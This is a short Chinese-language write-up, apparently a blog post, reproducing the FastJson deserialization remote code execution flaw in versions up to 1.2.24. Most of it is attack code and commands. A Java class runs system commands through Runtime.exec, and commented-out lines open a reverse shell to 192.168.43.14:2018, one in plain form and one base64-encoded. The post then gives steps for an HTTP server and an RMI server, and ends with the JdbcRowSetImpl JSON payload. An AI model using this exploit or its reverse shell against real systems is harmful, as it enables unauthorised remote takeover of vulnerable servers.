0%

FastJson反序列化RCE

在一次代码审计中,发现了FastJson反序列化RCE漏洞,利用了一波。

影响版本

1.2.24以及之前版本(2017.1)

复现

方法很多,这里直接用https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCE的方法。

修改 CommandObject.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import	java.lang.Runtime;
import java.lang.Process;
public class CommandObject {
public CommandObject(){
try{
Runtime rt = Runtime.getRuntime();
//Runtime.getRuntime().exec("/bin/bash -i >&/dev/tcp/192.168.43.14/2018<&1");
//String[] commands = {"bash -c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC40My4xNC8yMDE4PCYx}|{base64,-d}|{bash,-i}"};

String[] commands = {"touch","/opt/test"}; //Command
Process pc = rt.exec(commands);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
CommandObject e = new CommandObject();
}
}

编译 CommandObject.java

1
javac CommandObject.java

开启HTTP服务

1
python -m SimpleHTTPServer 80

开启RMIServer

1
java -jar FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar  ip port

发送payload

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Object","autoCommit":true}

其他参考链接